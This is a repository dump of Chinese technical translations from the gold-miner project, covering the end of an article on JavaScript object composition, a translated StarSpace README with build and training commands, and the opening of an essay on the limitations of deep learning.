连接时的顺序能够解决属性名冲突：后进有效（last-in wins）。这一点对于默认值和重载行为很有帮助，但如果顺序无关的话，也会造成问题。\n\n```javascript\nconst c = objs.reduce(concatenate, {});\nconst concatenate = (a, o) => ({...a, ...o});\nconsole.log(\n  'concatenation',\n  c,\n  `enumerable keys: ${ Object.keys(c) }`\n);\n// concatenation { a: 'a', b: 'cb', c: 'c' } enumerable keys: a,b,c\n```\n\n### 委托\n\n委托表示一个对象直接指向或者**委托**到另一个对象。\n\n#### 例子\n\n* JavaScript 内置类型使用了委托来让内置方法调用原型链上的方法。例如，数组实例的方法指向了内置的数组原型 `Array.prototype` 上的方法，对象实例则指向了 `Object.prototype`，等等。\n* jQuery 插件依赖了委托去让所有 jQuery 实例共享内置方法和插件方法。\n* Ivan Sutherland 画板的 “masters” 则是动态委托（委托在被创建后仍会被修改）。对于委托对象的修改将立刻影响到所有对象实例。\n* Photoshop 使用了被叫做 “smart objects” 的委托来引用被定义在不同文件的图像和资源。更改 smart objects 引用的对象（译注：例如修改被引用的图像）将影响所有 smart object 的实例。\n\n#### 何时使用\n\n* 节约内存：当存在许多对象实例时，委托对于在各个实例间共享相同属性或者方法将会很有用，避免了更多的内存分配。\n* 动态更新大量实例：当对象的许多实例共享同一个状态时，这个状态需要动态更新，且该状态的更改能立即作用到每个实例时，也需要委托。例如 Ivan Sutherland 画板的 “master” 和 Photoshop 的 “smart objects”。\n\n#### 注意事项\n\n* 委托通常用来模拟 JavaScript 中的类继承（当然，现在有了 extends 关键字），但这实际上很少需要。\n* 委托可以被用来精确模拟类继承的行为和限制。实际上，通过原型委托链，JavaScript 构建了基于静态委托模型的类继承，从而避免了 **is-a** 的思考方式。\n* 在使用诸如 `Object.keys(instanceObj)` 这样公共枚举机制时，委托属性是不可枚举的。\n* 委托是通过牺牲了属性检索性能来获得内存上的节约的，一些 JavaScript 引擎的优化会关闭动态委托（在创建后仍会改变的委托）。然而，即便在最慢的场景下，属性检索性能仍能有百万级的 ops —— 除非你正构建一个服务于对象操作或者图形程序的工具函数库，例如 RxJS 或是 three.js，否则对象属性检索都不会成为你的性能瓶颈。\n* 需要区分实例状态和委托状态。（译注：类似于区分实例对象的自由属性和原型链上的属性）\n* 在动态委托上共享状态不是实例安全的。对状态的改变将会作用到所有实例，这是滋生 bug 的温床。\n* ES6 的类并没有创建动态委托。动态委托可能会在 Babel 编译后的代码中正常工作，但无法在真正的 ES6 环境下工作。\n\n### 代码示例\n\n```javascript\nconst delegate = (a, b) => Object.assign(Object.create(a), b);\n\nconst d = objs.reduceRight(delegate, {});\n\nconsole.log(\n  'delegation',\n  d,\n  `enumerable keys: ${ Object.keys(d) }`\n);\n\n// delegation { a: 'a', b: 'ab' } enumerable keys: a,b\n\nconsole.log(d.b, d.c); // ab c\n```\n\n### 结论\n\n我们已经学到了：\n\n* 所有由其他对象或者原始类型对象构成的对象都是**复合对象**。\n* 创建复合对象的过程叫做**组合**。\n* 存在不同形式的组合。\n* 当我们组合对象时，对象间关系和依赖的不同取决于对象是如何被组合的。\n* **is-a** 关系（由类继承所构成的关系）在面向对象设计中是最紧的耦合，实践中应当尽量避免。\n* GoF 建议我们通过组装若干小的特性以形成一个更大的整体来进行对象组合，而不是从一个单一的基类或者基础对象继承。“优先考虑对象组合而不是类继承”。\n* 聚合将对象组合到一个可枚举的集合中，该集合的每个成员都保留有各自的引用，例如数组、DOM 树等等。\n\n\n* 委托通过将对象的委托链连接到一起来进行对象组合，委托链上的对象直接指向另一个对象，或者将属性检索委托到了另一个对象，例如 `[].map` 委托到了 `Array.prototype.map()`\n* 连接通过用新的属性扩展现有对象来进行对象组合，例如 `Object.assign(destination, a, b)`、`{...a, ...b}`。\n* 不同类型的对象组合不是彼此互斥的。委托是聚合的一个子集，连接则可用来构造委托和聚合等等。\n\n目前不只存在三种类型的对象组合。也可以通过 相识（acquaintance）或联合（association）来构建对象间松散、动态的关系，在这种关系下，对象被作为参数传递给了另一个对象（依赖注入）等等。\n\n所有的软件开发都是组合。能够通过轻松、灵活的方式来组合对象，也存在脆弱而不牢靠的方式来组合对象。一些对象组合的形式构成了对象间松耦合的关系，一些则构成了紧耦合。\n\n竭力寻找一种变更小的程序需求时只需要变更小部分代码实现的组合方式。代码应当清楚且明练地描述你的意图，并且记住：在你需要类继承时，其实有更好的方式替代它。\n\n## 需要 JavaScript 进阶训练吗？\n\nDevAnyWhere 能帮助你最快进阶你的 JavaScript 能力，如组合式软件编写，函数式编程一节 React：\n\n- 直播课程\n- 灵活的课时\n- 一对一辅导\n- 构建真正的应用产品\n\n[![https://devanywhere.io/](https://user-gold-cdn.xitu.io/2017/12/10/160409bd95f267df?w=800&h=450&f=png&s=366761)](https://devanywhere.io/)\n\n**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。_\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-introduction-of-starspace.md",
    "content": "> * 原文地址：[The Introduction of StarSpace](https://github.com/facebookresearch/StarSpace/blob/master/README.md)\n> * 原文作者：[Facebook](https://github.com/facebookresearch/Starspace)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-introduction-of-starspace.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-introduction-of-starspace.md)\n> * 译者：[Noah Gao](https://noahgao.net) [Sean Wang](https://github.com/SeanW20)\n> * 校对者：[ryouaki](https://github.com/ryouaki)\n\n<p align=\"center\"><img width=\"15%\" src=\"https://github.com/facebookresearch/StarSpace/raw/master/examples/starspace.png\" /></p>\n\n# Facebook 的 AI 万金油：StarSpace 神经网络模型简介\n\nStarSpace 是一个用于解决各种问题、进行高效的实体嵌入（译者注：entity embeddings，一种流行的类别特征处理方法）学习的通用神经网络模型:\n\n- 学习单词、句子或是文档级别的嵌入。\n- 信息检索：对实体或文档的集合完成排序，例如：Web 文档的排名。\n- 文本分类或是其他打标签形式的任务。\n- 度量学习、相似性学习，例如：对句子或文档的相似性进行学习。\n- 基于内容或是协同过滤进行推荐，例如：推荐音乐和视频。\n- 图嵌入，例如：完成像 Freebase 一样的多关系图。\n- <img width=\"5%\" src=\"https://github.com/facebookresearch/StarSpace/raw/master/examples/new2.gif\" /> 图片的分类、排名或检索（例如：使用已存在的 ResNet 特性）。\n\n在一般情况下，它会学习如何将不同类型的对象表示为一个常见的矢量嵌入空间，\n从名称中的星号（'*'，通配符）和空格开始，并在该空间中将它们相互比较。\n它还会学习对给定查询数据的一组实体/文档或对象进行排序，查询所用的数据不一定与该集合中的项目类型相同。\n\n看一看 [这篇论文](https://arxiv.org/abs/1709.03856) 来进一步了解它是如何工作的。\n\n# 最新消息\n\n- 使用了新的许可证和专利权声明：现在 StarSpace 已经开始基于 BSD 许可证。阅读 [LICENSE 文件](https://github.com/facebookresearch/StarSpace/blob/master/LICENSE.md) 和 [PATENTS 文件](https://github.com/facebookresearch/StarSpace/blob/master/PATENTS) 可获得更多信息。\n- 我们新增了对实值输入和标签权重的支持：阅读 [文件格式](#file-format) 和 [ImageSpace](#imagespace-learning-image-and-label-embeddings) 来获取更多有关如何在输入和标签中使用权重的信息。\n\n# 依赖\n\nStarSpace 可在现代的 Mac OS 和 Linux 发行版上构建。鉴于它使用了 C++11 的特性，所以他需要与一个具有良好的 C++11 支持的编译器。包括：\n\n* gcc-4.6.3 以上或是 clang-3.3 以上\n\n编译将会借助一个 Makefile 文件来执行，所以你需要一个能正常工作的 **make** 命令。\n\n你还需要安装一个 [Boost](http://www.boost.org) 库并在 makefile 中指定 boost 库的路径译运行 StarSpace。简单地来说就是：\n\n    $wget https://dl.bintray.com/boostorg/release/1.63.0/source/boost_1_63_0.zip\n    $unzip boost_1_63_0.zip\n    $sudo mv boost_1_63_0 /usr/local/bin\n\n可选步骤：如果你希望能在 src 目录中运行单元测试，你会需要 [google test](https://github.com/google/googletest) 并将 makefile 中的 'TEST_INCLUDES' 配置为它的路径。\n\n# 构建 StarSpace\n\n想要构建 StarSpace 的话，按顺序执行：\n\n    git clone https://github.com/facebookresearch/Starspace.git\n    cd Starspace\n    make\n\n# 文档格式\n\nStarSpace 通过以下格式进行文件的输入。\n每一行都作为一个输入例子，在最简单的情况下，输入有 k 个单词，后面跟着的每个标签也是一个独立的单词：\n\n    word_1 word_2 ... word_k __label__1 ... __label__r\n这种描述格式与 [fastText](https://github.com/facebookresearch/fastText) 一样，默认情况下，标签是以字符串 \\_\\_label\\_\\_ 为前缀的单词，前缀字符串可以由 `-label` 参数来设置。\n\n执行这条命令来学习这种嵌入：\n\n    $./starspace train -trainFile data.txt -model modelSaveFile\n\n这里的 data.txt 是一个包含utf-8编码文本的训练文件。在优化结束时，程序将保存两个文件：model 和 modelSaveFile.tsv。modelSaveFile.tsv 是一个包含实体嵌入向量的标准tsv格式文件，每行一个。modelSaveFile 是一个二进制文件，包含模型的参数以及字典，还包括所有超参数。二进制文件稍后可用于计算实体嵌入的向量或运行评估任务。\n\n在更普遍的情况下，每个标签也会包含单词：\n\n    word_1 word_2 ... word_k <tab> label_1_word_1 label_1_word_2 ... <tab> label_r_word_1 ..\n\n嵌入向量将学习每个单词和标签，并将相似的输入和标签组合在一起。\n\n为了学习更一般情况下的嵌入，每个标签由单词组成，需要指定 `-fileFormat` 标志为”labelDoc”，如下所示：\n\n    $./starspace train -trainFile data.txt -model modelSaveFile -fileFormat labelDoc\n\n我们还可以通过将参数 `-useWeight` 设置为 true（默认为 false）来扩展文件格式以支持实值权值（在输入和标签空间中）。如果 `-useWeight` 为 true，我们支持使用以下格式定义权重。\n\n    word_1:wt_1 word_2:wt_2 ... word_k:wt_k __label__1:lwt_1 ...    __label__r:lwt_r\n\n例如，\n\n    dog:0.1 cat:0.5 ...\n\n对于不包括权重的任意单词和标签，其默认权重为 1。\n\n## 训练模式\n\nStarSpace 支持下列几种训练模式（默认是第一个）：\n\n* trainMode = 0:\n  * 每个实例都包括输入和标签。\n  * 如果文件格式是‘fastText’，那么标签会有特定的独立特征或是单词（例如，带有 __label__前缀，参见上面的 **文件格式** 一节。\n  * **用例：**  分类任务，参见后面的 TagSpace 示例。\n  * 如果文件格式是‘labelDoc’那么这些标签就是特征包，其中一个包被选中（参见上面的 **文件格式** 一节）。\n  * **用例：**  检索/搜索任务，每个例子包括一个后跟了一组相关文件的查询。\n* trainMode = 1:\n  * 每个示例都包含一组标签。在训练时，随机选取集合中的一个标签作为标签量，其余标签作为输入。\n  * **用例：**  基于内容或协同过滤进行推荐，参见后面的 PageSpace 示例。\n* trainMode = 2:\n  * 每个示例都包含一组标签。在培训的时候，随机选取一个来自集合的标签作为输入量，集合中其余的标签成为标签量。\n  * **用例：** 学习从一个对象到它所属的一组对象的映射，例如，从句子（文档内的）到文档。\n* trainMode = 3:\n  * 每个示例都包含一组标签。在训练时，随机选取集合中的两个标签作为输入量和标签量。\n  * **用例：** 从类似对象的集合中学习成对的相似性，例如：句子的相似性。\n* trainMode = 4:\n  * 每个示例都包含两个标签。在训练时，集合中的第一个标签将被选为输入量，第二个标签将被选为标签量。\n  * **用例：** 从多关系图中学习。\n* trainMode = 5:\n  * 每个示例只包含输入量。在训练期间，它会产生多个训练样例：从输入的每个特征被选为标签量，其他特征（到距离 ws（译者注：单词级别训练的上下文窗口大小，一个可选的输入参数））被挑选为输入特征。\n  * **用例：** 通过无监督的方式学习单词嵌入。\n\n# 典型用例\n\n## TagSpace 单词、标签的嵌入\n\n**用途:** 学习从短文到相关主题标签的映射,例如，在 [这篇文章](https://research.fb.com/publications/tagspace-semantic-embeddings-from-hashtags/) 中的描述。这是一个典型的分类应用。\n\n**模型：** 通过学习两者的嵌入，学习的映射从单词集到标签集。\n例如，输入“restaurant has great food <\\tab> #restaurant <\\tab> #yum”将被翻译成下图。（图中的节点是要学习嵌入的实体，图中的边是实体之间的关系。\n\n![word-tag](https://github.com/facebookresearch/Starspace/blob/master/examples/tagspace.png)\n\n**输入文件的格式**:\n\n    restaurant has great food #yum #restaurant\n\n**命令**：\n\n    $./starspace train -trainFile input.txt -model tagspace -label '#'\n\n### 示例脚本：\n\n我们将该模型应用于 [AG的新闻主题分类数据集](https://github.com/mhjabreel/CharCNN/tree/master/data/ag_news_csv) 的文本分类问题。在这一问题中我们的标签是新闻文章类别，我们使用 hit@1 度量来衡量分类的准确性。[这个示例脚本](https://github.com/facebookresearch/Starspace/blob/master/examples/classification_ag_news.sh) 下载数据并在示例目录下运行StarSpace模型：\n\n    $bash examples/classification_ag_news.sh\n\n## PageSpace 用户和页面的嵌入\n\n**用途：** 在Facebook上，用户可以粉（关注）他们感兴趣的公共页面。当用户浏览页面时，用户可以在 Facebook 上收到所有页面发布的内容。 我们希望根据用户的喜爱数据学习页面嵌入，并用它来推荐用户可能感兴趣（可能关注）的新页面。 这个用法可以推广到其他推荐问题：例如，根据过去观看的电影记录学习嵌入，向用户推荐电影; 根据过去用户登录的餐厅学习嵌入，向用户推荐餐馆等。\n\n**模型：** 用户被表示为他们关注的页面（粉了）。也就是说，我们不直接学习用户的嵌入，相反，每个用户都会有一个嵌入，这个嵌入就是用户煽动的页面的平均嵌入。页面直接嵌入（在字典中具有独特的功能）。在用户数量大于页面数量的情况下，这种设置可以更好地工作，并且每个用户喜欢的页面平均数量较少（即用户和页面之间的边缘相对稀疏）。它也推广到新用户而无需再重新训练。 也可以使用更传统的推荐设置。\n\n![user-page](https://github.com/facebookresearch/Starspace/blob/master/examples/user-page.png)\n\n每个用户都由用户展开的集合表示，每个训练实例都是单个用户。\n\n**输入文件格式**：\n\n    page_1 page_2 ... page_M\n\n在训练时，在每个实例（用户）的每个步骤中，选择一个随机页面作为标签量，并且剩余的页面被选择为输入量。 这可以通过将标志 -trainMode 设置为 1 来实现。\n\n**命令**：\n\n    $./starspace train -trainFile input.txt -model pagespace -label 'page' -trainMode 1\n\n## DocSpace 文档推荐\n\n**用途：** 我们希望根据用户的历史喜好和点击数据为用户生成嵌入和推荐网络文档。\n\n**模型：** 每个文件都由文件的一个集合来表示。 每个用户都被表示为他们过去喜欢/点击过的文档（集合）。\n在训练时，在每一步选择一个随机文件作为标签量，剩下的文件被选为输入量。\n\n![user-doc](https://github.com/facebookresearch/Starspace/blob/master/examples/user-doc.png)\n\n**输入文件格式**：\n\n    roger federer loses <tab> venus williams wins <tab> world series ended\n    i love cats <tab> funny lolcat links <tab> how to be a petsitter  \n\n每行是一个用户，每个文档（由标签分隔的文档）是他们喜欢的文档。\n所以第一个用户喜欢运动，而第二个用户对这种情况感兴趣。\n\n**命令**：\n\n    ./starspace train -trainFile input.txt -model docspace -trainMode 1 -fileFormat labelDoc\n\n## GraphSpace 知识库中的链接预测\n\n**用途：** 学习 [Freebase](http://www.freebase.com) 中的实体与关系之间的映射。在 freebase 中，数据以格式输入。\n\n    (head_entity, relation_type, tail_entity)\n\n执行链接预测可以将数据格式化为填充不完整的三元组\n\n    (head_entity, relation_type, ?) or (?, relation_type, tail_entity)\n\n**模型：** 我们学习所有实体和关系类型的嵌入。对于每一个 realtion_type，我们学习两个嵌入：一个用于预测给定 head_entity 的 tail_entity，一个用于预测给定 tail_entity 的 head_entity。\n\n![multi-rel](https://github.com/facebookresearch/StarSpace/blob/master/examples/multi-relations.png)\n\n### 示例脚本：\n\n[这个示例脚本](https://github.com/facebookresearch/Starspace/blob/master/examples/multi_relation_example.sh) 将会从 [这里](https://everest.hds.utc.fr/doku.php?id=en:transe) 下载 Freebase15k 数据并在其上运行 StarSpace 模型：\n\n    $bash examples/multi_relation_example.sh\n\n## SentenceSpace 学习句子的嵌入\n\n**用途：** 学习句子之间的映射。给定一个句子的嵌入，可以找到语义上相似或相关的句子。\n\n**模型：** 每个例子是语义相关的句子的集合。 随机采用 trainMode 3 来选择两个：一个作为输入，一个作为标签，其他句子被挑选为随机的否定。 在没有标注的情况下获取语义相关句子的一个简单方法是考虑同一文档中的所有句子是相关的，然后在这些文档上进行训练。\n\n![sentences](https://github.com/facebookresearch/StarSpace/blob/master/examples/sentences.png)\n\n### 示例脚本：\n\n[这个示例脚本](https://github.com/facebookresearch/Starspace/blob/master/examples/wikipedia_sentence_matching.sh) 会下载一些数据，其中每个示例都是来自同一维基百科页面的一组语句，并在其上运行StarSpace模型：\n\n    $bash examples/wikipedia_sentence_matching.sh\n\n为了能运行 [这篇论文](https://arxiv.org/abs/1709.03856) 中提出的 Wikipedia Sentence Matching 问题的完整实验，\n请使用 [这个脚本](https://github.com/facebookresearch/Starspace/blob/master/examples/wikipedia_sentence_matching_full.sh)（警告：下载数据和训练模型需要很长时间）：\n\n    $bash examples/wikipedia_sentence_matching_full.sh\n\n## ArticleSpace 学习句子和文章嵌入\n\n**用途：** 学习句子和文章之间的映射关系。给定句子的嵌入，可以找到相关文章。\n\n**模型：** 每个例子都是包含多个文章的句子。 训练时，随机选取的句子作为输入，那么文章中剩余的句子成为标签，其他文章可以作为随机底片。 (trainMode 2).\n\n### 示例脚本：\n\n[这个示例脚本](https://github.com/facebookresearch/Starspace/blob/master/examples/wikipedia_article_search.sh) 将下载数据，其中的每个示例都是维基百科的文章，并在其上运行 StarSpace 模型：\n\n    $bash examples/wikipedia_article_search.sh\n    \n为了能运行 [这篇论文](https://arxiv.org/abs/1709.03856) 中提出的 Wikipedia Sentence Matching 问题的完整实验，\n请使用 [这个脚本](https://github.com/facebookresearch/Starspace/blob/master/examples/wikipedia_article_search_full.sh)（提示：这将需要一些时间去下载数据并训练模型）：\n\n    $bash examples/wikipedia_article_search_full.sh\n    \n## ImageSpace 学习图像和标签的嵌入\n\n通过最新的更新，StarSpace 也可以用来学习图像和其他实体的嵌入。例如，可以使用 ResNet 特征（预先训练的 ResNet 模型的最后一层）来表示图像，并将图像和其他实体（单词，主题标签等）一起嵌入。就像 StarSpace 中的其他实体一样，图像可以在输入或标签上，这取决于不同的任务。\n\n这里我们给出一个使用 [CIFAR-10](https://www.cs.toronto.edu/~kriz/cifar.html) 的例子以说明我们如何与其他实体进行图像训练 (在这个例子中，指为图像类)：我们训练模型 [ResNeXt](https://github.com/facebookresearch/ResNeXt) 在 CIFAR-10  在测试数据集上达到 96.34％ 的准确率，并将最后一层 ResNet 作为每幅图像的特征。我们使用 StarSpace 将 10 个图像类与图像特征一起嵌入到相同的空间中。对于最后一层（0.8,0.5，...，1.2）的类 1 的示例，我们将其转换为以下格式：\n\n    d1:0.8  d2:0.5   ...    d1024:1.2   __label__1\n\n将 CIFAR-10 的训练和测试例转换成上述格式后，我们运行 [这个示例脚本](https://github.com/facebookresearch/StarSpace/blob/master/examples/image_feature_example_cifar10.sh)：\n\n    $bash examples/image_feature_example_cifar10.sh\n\n平均每 5 次达到 96.56％ 的准确度。\n\n# 完整的参数文档\n\n```plain\n    运行 \"starspace train ...\" 或 \"starspace test ...\"\n\n    以下参数是训练时必须的：\n      -trainFile       训练文件路径。\n      -model           模型文件输出路径。\n\n    以下参数是训练时必须的：\n      -testFile        测试文件路径。\n      -model           模型文件路径。\n\n    以下是字典相关的可选参数：\n      -minCount        单词量的最少个数，默认为 1。\n      -minCountLabel   标签量的最少个数，默认为 1。\n      -ngrams          单词元数的最大长度，默认为 1。\n      -bucket          buckets 的数量，默认为 2000000。\n      -label           标签量前缀，默认为 __label__，可参加文件格式一节。\n\n    以下参数是训练时可选的：\n      -initModel       如果非空，则在 -initModel 中加载先前训练过的模型并进行训练。\n      -trainMode       选择 [0, 1, 2, 3, 4, 5] 中的一个值，参见训练模式一节，默认为 0。\n      -fileFormat      当前支持‘fastText’和‘labelDoc’，参见文件格式一节，默认为 fastText。\n      -saveEveryEpoch  在每次迭代后保存中间模型，默认为 false。\n      -saveTempModel   在每次迭代之后用包括迭代词的唯一名字保存中间模型，默认为 false。\n      -lr              学习速度，默认为 0.01。\n      -dim             嵌入矢量的大小，默认为 10。\n      -epoch           迭代次数，默认为 5。\n      -maxTrainTime    最长训练时间（秒），默认为 8640000。\n      -negSearchLimit  抽样中的拒绝上限，默认为 50。\n      -maxNegSamples   一批更新中的拒绝上限，默认为 10。\n      -loss            loss 函数，可能是 hinge 或 softmax 中的一个，默认为 hinge。\n      -margin          hinge loss 的边缘参数。只在 loss 为 hinge 时有意义，默认为0.05。\n      -similarity      选择 [cosine, dot] 中的一个，用于在 hinge loss 选定相似度函数。\n                       只在 loss 为 hinge 时有意义，默认为 cosine。\n      -adagrad         是否在训练中使用 adagrad，默认为 1。\n      -shareEmb        是否对LHS和RHS使用相同的嵌入矩阵，默认为 1。\n      -ws              在 trainMode 5 时有效，单词级别训练的上下文窗口大小，默认为 5。\n      -dropoutLHS      LHS特征的放弃概率，默认为 0。\n      -dropoutRHS      RHS特征的放弃概率，默认为 0。\n      -initRandSd      嵌入的初始值是从正态分布随机生成的，其中均值为 0，标准差为 initRandSd，默认为 0.001。\n\n    以下参数是测试时可选的：\n      -basedoc         一组标签的文件路径与真实标签进行比较。 -fileFormat='labelDoc' 时需要。\n                       在 -fileFormat ='fastText' 且 不提供 -basedoc 的情况下，我们将会对真正的标签与字典中的所有其他标签进行比较。\n      -predictionFile  保存预测的文件路径。如果不为空，则将保存每个示例的前K个预测。\n      -K               如果 -predictionFile 参数非空，为每个实例进行的顶层的 K 预测将被保存。\n\n    以下参数是可选的：\n      -normalizeText   是否为输入文件运行基本的文本预处理，默认为 0，不进行预处理。\n      -useWeight       输入文件是否自带权重，默认为 0，不自带权重。\n      -verbose         消息输出详细程度，默认为 0，普通输出。\n      -debug           是否使用调试模式，默认为 0，关闭调试模式。\n      -thread          线程数量，默认为 10。\n```\n\n注意：我们使用与在 [fastText](https://github.com/facebookresearch/fastText) 中相同的单词 n-gram 实现。当“-ngrams”被设置为大于1时，由“-bucket”参数指定的大小的哈希映射被用于 n-gram；当“-ngrams”设置为 1 时，不使用哈希映射，并且该字典包含 minCount 和 minCountLabel 约束内的所有单词。\n\n## Utility Functions\n\n我们还为 StarSpace 提供了一些实用功能：\n\n### 显示查询的预测\n\n检查经过训练的嵌入模型质量的一个简单方法是在键入输入时检查预测。要构建和使用该实用程序功能，请运行以下命令：\n\n    make query_predict\n    ./query_predict <model> k [basedocs]\n\n其中 `<model>` 指定一个受过训练的 StarSpace 模型，可选的 K 指定显示多少个顶部预测（排名第一）。 “basedocs” 指向要排序的文件的文件，也参见上面主要 StarSpace 中同名的参数。如果没有提供“基类”，则使用词典中的标签。\n\n加载模型后，它读取一行实体（可以是一个单词或一个句子/文档），并输出预测。\n\n### 最近相邻量查询\n\n检查训练好的嵌入模型质量的另一种简单方法是检查实体的最近相邻量。 要构建和使用该实用程序功能，请运行以下命令：\n\n    make query_nn\n    ./query_nn <model> [k]\n\n其中 `<model>` 指定一个受过训练的 StarSpace 模型，可选的 K（ 默认值是 5 ） 指定要搜索的最近相邻量。\n\n加载模型后，它读取一行实体（可以是一个单词或一个句子/文档），并在嵌入空间输出最近的实体。\n\n### 打印 Ngrams\n\n由于模型中使用的 ngram 不是以 tsv 格式保存的，我们还提供了一个单独的函数来输出模型中的 n 元嵌入。要使用它，请运行以下命令：\n\n    make print_ngrams\n    ./print_ngrams <model>\n\n其中 `<model>` 指定了的参数 -ngrams > 1 的受过训练的StarSpace模型。\n\n### 打印句子/文档嵌入\n\n在有时需要从训练的模型中打印句子或文档的嵌入时是非常有用的。 要使用它，请运行以下命令：\n\n    make embed_doc\n    ./embed_doc <model> [filename]\n\n其中 `<model>` 指定了训练过的 StarSpace 模型。如果提供了文件名，则从文件逐行读取每个句子/文档，并相应地输出向量嵌入。如果没有提供文件名，它会从 stdin 中读取每个句子/文档。\n\n## 引用\n\n如果您在工作中使用了 StarSpace，请引用这篇 [arXiv 论文](https://arxiv.org/abs/1709.03856)：\n\n```plain\n@article{wu2017starspace,\n  title={StarSpace: Embed All The Things!},\n  author = {{Wu}, L. and {Fisch}, A. and {Chopra}, S. and {Adams}, K. and {Bordes}, A. and {Weston}, J.},\n  journal={arXiv preprint arXiv:{1709.03856}},\n  year={2017}\n}\n```\n\n## 联系我们\n\n* Facebook 小组: [StarSpace Users](https://www.facebook.com/groups/532005453808326)\n* emails: ledell@fb.com, jase@fb.com\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-limitations-of-deep-learning.md",
    "content": "\n> * 原文地址：[The limitations of deep learning](https://blog.keras.io/the-limitations-of-deep-learning.html)\n> * 原文作者：[Francois Chollet](https://twitter.com/fchollet)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-limitations-of-deep-learning.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-limitations-of-deep-learning.md)\n> * 译者：[CACppuccino](https://github.com/CACppuccino)\n> * 校对者：[whatbeg](https://github.com/whatbeg)   [lileizhenshuai](https://github.com/lileizhenshuai)\n\n# 论深度学习的局限性\n\n\n## 译者前言\n\n这篇文章清晰地展现了深度学习本身真正的意义，让我们更透彻地了解它的同时，也明白了它的局限之处，距离着人类层次的 AI 还有着太长的路要走。在文章的最后一部分，作者更是表达出了自己对于未来的 AI 之路的思考与展望。\n\n正文\n---\n\n这篇文章修改自我的书[《Deep Learning with Python (manning出版社)》](https://www.manning.com/books/deep-learning-with-python?a_aid=keras&amp;a_bid=76564dff)的第九章第二部分。这是关于当前的深度学习的局限性与未来展望的两篇系列文章之一。\n\n这篇文章的目标受众是那些已经在深度学习领域有着一定的经验（例如，那些已经读完 1-8 章的人们）。我们默认你已经知道了很多前置的知识。  \n\n**译者注：阅读此文章无需特别丰富的经验，实际上只要知道深度学习的大概运行模式即可**\n\n---\n\n\n## 深度学习：几何角度\n\n深度学习最令人惊讶的地方在于它的简单程度。十年之前，没有人会想到我们能够只是运用梯度下降算法训练简单的参数模型，就能在机器感知方面取得如此巨大的成果。现在来看，你只需要通过梯度下降方法，用 **足够多** 的样例去训练一个参数 **足够多** 的参数模型（就可以取得你想要的结果了）。就如 Feynman 曾经对宇宙的描述一样，**“它并非复杂，只是数量巨大”**\n\n在深度学习中，所有东西都是一个向量，换言之，所有东西都是几何空间中的一个点。输入的模型（可以是文本，图像等等）和目标都会首先被“向量化”，也就是说，转化为初始的输入向量空间和目标向量空间。深度学习模型的每一层都对通过的数据，进行着一次简单的几何变换。而合并在一起，链在一起的各层模型形成了一个非常复杂的几何变换，分解成单一的之后又变的非常简单。这个复杂的变换试图将输入映射到输出，每次处理一个点。这个变换被各神经层的权重参数化，而权重则在每次迭代时基于当前模型的运行状况进行更新。这个几何变换的关键特征就是，它必须可导（可微），这样我们才能够通过梯度下降算法学习它的参数。直观地看，这意味着从输入到输出的几何变换必须是平稳且连续的 —— 这是一个重要的限制条件。\n\n对于输入的复杂几何变换过程，可以在 3D 下画出一个人，在尝试平整一张卷成球的纸，来达到视觉化的目的：皱起来的纸球代表着模型中的输入副本。每次人对纸的动作都与每次单个神经层的简单几何变换相似。这样看，平整纸球的一套动作就是整个模型的几何变换，而当这些动作（几何变换）连在一起时，看起来会非常复杂。深度学习模型实际上是一个数学机器，将多种高维数据平整化。\n\n这就是深度学习的神奇之处：将“意义”转变为向量到几何空间中，并逐渐地学习复杂的几何变换，将一个空间映射到另一个。你只需要有足够维度的空间，来获取原始数据中的所有存在的关系。\n\n## 